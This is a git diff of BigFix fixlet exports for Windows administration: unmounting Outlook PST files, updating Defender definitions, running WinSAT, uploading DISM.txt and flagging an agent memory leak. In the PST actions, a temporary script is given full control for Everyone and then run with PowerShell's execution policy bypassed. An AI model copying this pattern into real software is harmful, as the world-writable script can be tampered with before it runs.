-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to Unmount using PowerShell</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Disable wow64 redirection on x64 OSes
-action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-
-//    CREATEFILE
-createfile until END_OF_FILE
-$Outlook = New-Object -ComObject Outlook.Application
-$Namespace = $Outlook.getNamespace("MAPI")
-
-$all_psts = $Namespace.Stores | Where-Object {{($_.ExchangeStoreType -eq '3') -and ($_.FilePath -like '*.pst') -and ($_.IsDataFileStore -eq $true)}
-
-ForEach ($pst in $all_psts){{
-    $Outlook.Session.RemoveStore($pst.GetRootFolder())
-}
-Get-Process Outlook | Foreach-Object {{ $_.CloseMainWindow() | Out-Null } | stop-process –force
-END_OF_FILE
-
-// create temp folder if it doesn't exist
-if {not exists folder "c:\temp"}
-  folder create "c:\temp"
-endif
-
-delete "c:\temp\RemovePST.ps1"
-move __createfile "c:\temp\RemovePST.ps1"
-waithidden "{pathname of system folder & "\icacls.exe"}" "c:\temp\RemovePST.ps1" /grant Everyone:F
-
-override wait
-completion=job
-hidden=true
-runas=currentuser
-wait { pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) } -ExecutionPolicy Bypass -File "c:\temp\RemovePST.ps1"
-delete "c:\temp\RemovePST.ps1"
-
-// remove temp folder if it is empty
-if {exists folder "c:\temp" whose (not exists files of it and not exists folders of it)}
-  folder delete "c:\temp"
-endif]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action27917">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to Unmount using VBScript</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Disable wow64 redirection on x64 OSes
-action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-
-//    CREATEFILE
-createfile until END_OF_FILE
-On Error Resume Next
-Dim objOutlook 'As Outlook.Application
-Dim Stores     'As Outlook.Stores
-Dim objFolder  'As Outlook.Folder
-Dim i          'As Integer
-
-Set objOutlook = CreateObject("Outlook.Application")
-Set Stores = objOutlook.Session.Stores
-
-
-For i =  Stores.Count to 0 step -1
-
-If Stores(i).ExchangeStoreType = 3 Then
-   Set objFolder = Stores(i).GetRootFolder
-   objOutlook.Session.RemoveStore objFolder
- Else
-End If
-
-Next
-
-On Error Resume Next
-Set Outlook = GetObject(, "Outlook.Application")
-If Err = 0 Then
-Outlook.Quit()
-End If
-END_OF_FILE
-
-// create temp folder if it doesn't exist
-if {not exists folder "c:\temp"}
-  folder create "c:\temp"
-endif
-
-delete "c:\temp\RemovePST.vbs"
-move __createfile "c:\temp\RemovePST.vbs"
-waithidden "{pathname of system folder & "\icacls.exe"}" "c:\temp\RemovePST.vbs" /grant Everyone:F
-
-override wait
-completion=job
-hidden=true
-runas=currentuser
-wait "{pathname of system folder & "\cscript.exe"}" c:\temp\RemovePST.vbs
-delete "c:\temp\RemovePST.vbs"
-
-// remove temp folder if it is empty
-if {exists folder "c:\temp" whose (not exists files of it and not exists folders of it)}
-  folder delete "c:\temp"
-endif]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Unmount PST Files from Outlook
+  ID       : 26642
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2019-08-23T13:19:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Unmount PST Files from Outlook</Title>
+    <Description>Unmount PST files from Outlook for Current User and close Outlook to unlock the file </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(if exists regapp "outlook.exe" then (if ((version of regapp "outlook.exe" > "15.0.0.0") AND (version of regapp "outlook.exe" < "16.0.0.0")) then (if exists (names of values of key "Software\Microsoft\Office\15.0\Outlook\Search\Catalog" of keys of key "HKEY_USERS" of registry) whose (it as string contains ".pst") then true else false) else false) else false) OR (if exists regapp "outlook.exe" then (if version of regapp "outlook.exe" > "16.0.0.0" then (if exists (names of values of key "Software\Microsoft\Office\16.0\Outlook\Search\Catalog" of keys of key "HKEY_USERS" of registry) whose (it as string contains ".pst") then true else false) else false) else false) OR (if exists regapp "outlook.exe" then (if version of regapp "outlook.exe" = "10" then (if exists values whose (it as string contains ".pst") of keys of keys of keys "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles" of keys of keys "HKEY_USERS" of registry then true else false) else false) else false)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-08-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 23 Aug 2019 19:47:09 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to Unmount using PowerShell</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+$Outlook = New-Object -ComObject Outlook.Application
+$Namespace = $Outlook.getNamespace("MAPI")
+
+$all_psts = $Namespace.Stores | Where-Object {{($_.ExchangeStoreType -eq '3') -and ($_.FilePath -like '*.pst') -and ($_.IsDataFileStore -eq $true)}
+
+ForEach ($pst in $all_psts){{
+    $Outlook.Session.RemoveStore($pst.GetRootFolder())
+}
+Get-Process Outlook | Foreach-Object {{ $_.CloseMainWindow() | Out-Null } | stop-process –force
+END_OF_FILE
+
+// create temp folder if it doesn't exist
+if {not exists folder "c:\temp"}
+  folder create "c:\temp"
+endif
+
+delete "c:\temp\RemovePST.ps1"
+move __createfile "c:\temp\RemovePST.ps1"
+waithidden "{pathname of system folder & "\icacls.exe"}" "c:\temp\RemovePST.ps1" /grant Everyone:F
+
+override wait
+completion=job
+hidden=true
+runas=currentuser
+wait { pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) } -ExecutionPolicy Bypass -File "c:\temp\RemovePST.ps1"
+delete "c:\temp\RemovePST.ps1"
+
+// remove temp folder if it is empty
+if {exists folder "c:\temp" whose (not exists files of it and not exists folders of it)}
+  folder delete "c:\temp"
+endif]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action27917">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to Unmount using VBScript</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+On Error Resume Next
+Dim objOutlook 'As Outlook.Application
+Dim Stores     'As Outlook.Stores
+Dim objFolder  'As Outlook.Folder
+Dim i          'As Integer
+
+Set objOutlook = CreateObject("Outlook.Application")
+Set Stores = objOutlook.Session.Stores
+
+
+For i =  Stores.Count to 0 step -1
+
+If Stores(i).ExchangeStoreType = 3 Then
+   Set objFolder = Stores(i).GetRootFolder
+   objOutlook.Session.RemoveStore objFolder
+ Else
+End If
+
+Next
+
+On Error Resume Next
+Set Outlook = GetObject(, "Outlook.Application")
+If Err = 0 Then
+Outlook.Quit()
+End If
+END_OF_FILE
+
+// create temp folder if it doesn't exist
+if {not exists folder "c:\temp"}
+  folder create "c:\temp"
+endif
+
+delete "c:\temp\RemovePST.vbs"
+move __createfile "c:\temp\RemovePST.vbs"
+waithidden "{pathname of system folder & "\icacls.exe"}" "c:\temp\RemovePST.vbs" /grant Everyone:F
+
+override wait
+completion=job
+hidden=true
+runas=currentuser
+wait "{pathname of system folder & "\cscript.exe"}" c:\temp\RemovePST.vbs
+delete "c:\temp\RemovePST.vbs"
+
+// remove temp folder if it is empty
+if {exists folder "c:\temp" whose (not exists files of it and not exists folders of it)}
+  folder delete "c:\temp"
+endif]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows (24602).bes b/Sites/Windows Management/Fixlets/Fixlets/Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows (24602).bes
index ef3aaa381..0bd3f21ac 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows (24602).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows (24602).bes	
@@ -1,48 +1,48 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows
-  ID       : 24602
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2017-07-19T12:20:41
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>x64 of operating system</Relevance>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Win8.1 or higher */ exists versions whose(it > "6.3.9200") of operating systems]]></Relevance>
-    <Relevance><![CDATA[exists maxima whose(it < "1.247.1082.0") of unique values of (it as string as version) of values whose(name of it = "ASSignatureVersion" OR name of it = "AVSignatureVersion") of keys "Signature Updates" of (keys "Microsoft Antimalware" of it ; keys "Windows Defender" of it) of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft" of native registry]]></Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2017-07-19</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 19 Jul 2017 19:18:02 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-// https://www.microsoft.com/en-us/wdsi/definitions
-prefetch mpam-fe.exe sha1:d118361ac364a7dd8e78062228f513f22adac505 size:131255056 https://definitionupdates.microsoft.com/download/DefinitionUpdates/VersionedSignatures/AM/1.247.1082.0/amd64/mpam-fe.exe sha256:d9fd34cc92f00d0ae4d0905656dce783c4bc271970bac8608c834f973179863c
-
-wait __Download\mpam-fe.exe /q
-
-//  References:
-//   - http://www.itninja.com/link/install-the-latest-microsoft-security-essentials-definition-updates-get-the-latest-definitions-microsoft-malware-protection-center
-//   - https://bigfix.me/analysis/details/2994634
-//   - https://bigfix.me/analysis/details/2998358
-//   - https://bigfix.me/analysis/details/2996952
-//   - https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows
+  ID       : 24602
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-07-19T12:20:41
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>x64 of operating system</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Win8.1 or higher */ exists versions whose(it > "6.3.9200") of operating systems]]></Relevance>
+    <Relevance><![CDATA[exists maxima whose(it < "1.247.1082.0") of unique values of (it as string as version) of values whose(name of it = "ASSignatureVersion" OR name of it = "AVSignatureVersion") of keys "Signature Updates" of (keys "Microsoft Antimalware" of it ; keys "Windows Defender" of it) of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft" of native registry]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2017-07-19</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 19 Jul 2017 19:18:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// https://www.microsoft.com/en-us/wdsi/definitions
+prefetch mpam-fe.exe sha1:d118361ac364a7dd8e78062228f513f22adac505 size:131255056 https://definitionupdates.microsoft.com/download/DefinitionUpdates/VersionedSignatures/AM/1.247.1082.0/amd64/mpam-fe.exe sha256:d9fd34cc92f00d0ae4d0905656dce783c4bc271970bac8608c834f973179863c
+
+wait __Download\mpam-fe.exe /q
+
+//  References:
+//   - http://www.itninja.com/link/install-the-latest-microsoft-security-essentials-definition-updates-get-the-latest-definitions-microsoft-malware-protection-center
+//   - https://bigfix.me/analysis/details/2994634
+//   - https://bigfix.me/analysis/details/2998358
+//   - https://bigfix.me/analysis/details/2996952
+//   - https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Update Windows Experience Index - WinSAT (6045).bes b/Sites/Windows Management/Fixlets/Fixlets/Update Windows Experience Index - WinSAT (6045).bes
index 260a4b4a0..e5cb8a62a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Update Windows Experience Index - WinSAT (6045).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Update Windows Experience Index - WinSAT (6045).bes	
@@ -1,46 +1,46 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Update Windows Experience Index - WinSAT
-  ID       : 6045
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T12:20:25
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Update Windows Experience Index - WinSAT</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6.0"/* Windows Vista or later */]]></Relevance>
-    <Relevance>exists name whose(it does not contain &quot;Win2008&quot; AND it does not contain &quot;Win2012&quot;) of operating system/* Exclude Windows Server */</Relevance>
-    <Relevance>/* This does not need to run on virtual machines */ &quot;Physical&quot; = /* The following is from the Physical/Virtual Computer Type Analysis - Improved */ (if (mac of operating system) then /* the Mac BES client does not currently support the smbios inspector. This needs refinement, but for now just assuming apple devices are physical since virtualiztion of OS X is relatively rare */ &quot;Physical&quot; else (if ((it contains &quot;VMware&quot; or (it contains &quot;Microsoft&quot; AND /* This check is needed to exclude Microsoft Surface devices */ ((value &quot;product_name&quot; of structure &quot;system_information&quot; of smbios) as string contains &quot;Virtual Machine&quot;)) or it contains &quot;Xen&quot; or /* This check is needed to properly identify Parallels VMs as virtual instead of physical */ it contains &quot;Parallels Software&quot;) of (value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string)) then &quot;Virtual&quot; else &quot;Physical&quot;))</Relevance>
-    <Relevance><![CDATA[not ((exists folder "Performance\WinSAT\DataStore" of windows folder) AND (exists files whose(name of it ends with ".WinSAT.xml" AND name of it contains "Assessment") of folder "Performance\WinSAT\DataStore" of windows folder) AND (1 < (number of files whose(name of it ends with ".WinSAT.xml" AND name of it contains "Assessment" AND ("0" = (it as text) of xpath "/WinSAT/CompletionStatus" of xml document of it)) of folder "Performance\WinSAT\DataStore" of windows folder)) AND ((now - maximum of creation times of files whose(name of it ends with ".WinSAT.xml" AND name of it contains "Assessment" AND ("0" = (it as text) of xpath "/WinSAT/CompletionStatus" of xml document of it)) of folder "Performance\WinSAT\DataStore" of windows folder) < 90*day))]]></Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgs194</SourceID>
-    <SourceReleaseDate>2013-08-22</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 15 Nov 2013 19:51:53 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// http://technet.microsoft.com/en-us/library/cc742136.aspx
-// http://blogs.technet.com/b/mniehaus/archive/2009/08/26/prepopulating-windows-experience-index-wei-a-k-a-winsat-numbers-in-windows-7.aspx
-
-parameter &quot;iNumResultsBefore&quot; = &quot;{((it as string) of number of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot;) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder)}&quot;
-
-//waithidden cmd /c winsat prepop
-waithidden cmd /c winsat formal -restart
-</ActionScript>
-      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Update Windows Experience Index - WinSAT
+  ID       : 6045
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T12:20:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Update Windows Experience Index - WinSAT</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.0"/* Windows Vista or later */]]></Relevance>
+    <Relevance>exists name whose(it does not contain &quot;Win2008&quot; AND it does not contain &quot;Win2012&quot;) of operating system/* Exclude Windows Server */</Relevance>
+    <Relevance>/* This does not need to run on virtual machines */ &quot;Physical&quot; = /* The following is from the Physical/Virtual Computer Type Analysis - Improved */ (if (mac of operating system) then /* the Mac BES client does not currently support the smbios inspector. This needs refinement, but for now just assuming apple devices are physical since virtualiztion of OS X is relatively rare */ &quot;Physical&quot; else (if ((it contains &quot;VMware&quot; or (it contains &quot;Microsoft&quot; AND /* This check is needed to exclude Microsoft Surface devices */ ((value &quot;product_name&quot; of structure &quot;system_information&quot; of smbios) as string contains &quot;Virtual Machine&quot;)) or it contains &quot;Xen&quot; or /* This check is needed to properly identify Parallels VMs as virtual instead of physical */ it contains &quot;Parallels Software&quot;) of (value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string)) then &quot;Virtual&quot; else &quot;Physical&quot;))</Relevance>
+    <Relevance><![CDATA[not ((exists folder "Performance\WinSAT\DataStore" of windows folder) AND (exists files whose(name of it ends with ".WinSAT.xml" AND name of it contains "Assessment") of folder "Performance\WinSAT\DataStore" of windows folder) AND (1 < (number of files whose(name of it ends with ".WinSAT.xml" AND name of it contains "Assessment" AND ("0" = (it as text) of xpath "/WinSAT/CompletionStatus" of xml document of it)) of folder "Performance\WinSAT\DataStore" of windows folder)) AND ((now - maximum of creation times of files whose(name of it ends with ".WinSAT.xml" AND name of it contains "Assessment" AND ("0" = (it as text) of xpath "/WinSAT/CompletionStatus" of xml document of it)) of folder "Performance\WinSAT\DataStore" of windows folder) < 90*day))]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2013-08-22</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 15 Nov 2013 19:51:53 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// http://technet.microsoft.com/en-us/library/cc742136.aspx
+// http://blogs.technet.com/b/mniehaus/archive/2009/08/26/prepopulating-windows-experience-index-wei-a-k-a-winsat-numbers-in-windows-7.aspx
+
+parameter &quot;iNumResultsBefore&quot; = &quot;{((it as string) of number of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot;) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder)}&quot;
+
+//waithidden cmd /c winsat prepop
+waithidden cmd /c winsat formal -restart
+</ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Upload DISM.txt (1049).bes b/Sites/Windows Management/Fixlets/Fixlets/Upload DISM.txt (1049).bes
index 1f43e3805..9fc9f3597 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Upload DISM.txt (1049).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Upload DISM.txt (1049).bes	
@@ -1,52 +1,52 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Upload DISM.txt
-  ID       : 1049
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-12-26T15:36:02
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Upload DISM.txt</Title>
-    <Description><![CDATA[This is an extra task which lets you upload the DISM.txt file which can then be imported into the <A href="http://bigfix.me/features/import">http://bigfix.me/features/import</A> database.
-<P><B>Source:</B> <A href="http://bigfix.me/features/">http://bigfix.me/features/</A></P>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>exists file &quot;DISM.txt&quot; of parent folder of client</Relevance>
-    <Category>Upload</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-02</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 26 Dec 2012 21:34:45 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to upload the DISM.txt file.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">parameter &quot;current_time&quot;=&quot;{(now - &quot;01 Jan 1970 00:00:00&quot; as local time)/second}&quot;
-// set max size to 20 MB to prevent too much data
-setting &quot;_BESClient_ArchiveManager_MaxArchiveSize&quot;=&quot;20971520&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
-setting &quot;_BESClient_ArchiveManager_OperatingMode&quot;=&quot;2&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
-setting &quot;_BESClient_ArchiveManager_FileSet-DISM{parameter &quot;current_time&quot;}&quot;=&quot;{pathname of parent folder of client}\DISM.txt&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
-// send results
-archive now</ActionScript>
-    </DefaultAction>
-    <Action ID="Action1296">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn more and download the latest versions of Feature Installer tasks.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://bigfix.me/features/</ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Upload DISM.txt
+  ID       : 1049
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-12-26T15:36:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Upload DISM.txt</Title>
+    <Description><![CDATA[This is an extra task which lets you upload the DISM.txt file which can then be imported into the <A href="http://bigfix.me/features/import">http://bigfix.me/features/import</A> database.
+<P><B>Source:</B> <A href="http://bigfix.me/features/">http://bigfix.me/features/</A></P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>exists file &quot;DISM.txt&quot; of parent folder of client</Relevance>
+    <Category>Upload</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-02</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 26 Dec 2012 21:34:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to upload the DISM.txt file.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">parameter &quot;current_time&quot;=&quot;{(now - &quot;01 Jan 1970 00:00:00&quot; as local time)/second}&quot;
+// set max size to 20 MB to prevent too much data
+setting &quot;_BESClient_ArchiveManager_MaxArchiveSize&quot;=&quot;20971520&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+setting &quot;_BESClient_ArchiveManager_OperatingMode&quot;=&quot;2&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+setting &quot;_BESClient_ArchiveManager_FileSet-DISM{parameter &quot;current_time&quot;}&quot;=&quot;{pathname of parent folder of client}\DISM.txt&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+// send results
+archive now</ActionScript>
+    </DefaultAction>
+    <Action ID="Action1296">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more and download the latest versions of Feature Installer tasks.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://bigfix.me/features/</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4013).bes b/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4013).bes
index 67fcc11fd..c611bb996 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4013).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4013).bes	
@@ -1,77 +1,77 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : WARNING: Possible Memory Leak in ITM OS Client
-  ID       : 4013
-  Author   : zanesand
-  Domain   : BESC
-  Imported : 2015-03-31T20:20:36
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>WARNING: Possible Memory Leak in ITM OS Client</Title>
-    <Description><![CDATA[<TABLE>
-<TBODY>
-<TR>
-<TD>The listed computers have ITM OS Agents with high memory usage. This may indicate a possible memory leak. This fixlet message is triggered when the ITM OS Windows&nbsp;agent&nbsp;is using more than 150 MB of memory. The recommended action is to restart the ITM OS Agent in order to free memory.</TD></TR></TBODY></TABLE>
-<P><U><FONT size=2>Revision History</FONT></U></P>
-<UL>
-<LI>31/03/2015 -&nbsp;zanesand&nbsp;- Initial Creation </LI></UL>]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance><![CDATA[version of client >= "8.0"]]></Relevance>
-    <Relevance><![CDATA[exists process whose (name of it is "kntcma.exe" AND (((page file usage of it) / (1024*1024)) > 200 OR (ia64 of operating system AND ((page file usage of it) / (1024*1024)) > 300) OR ((page file usage of it) > size of ram / 2)))]]></Relevance>
-    <Category>Support</Category>
-    <Source>BigFix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2015-03-31</SourceReleaseDate>
-    <SourceSeverity>Important</SourceSeverity>
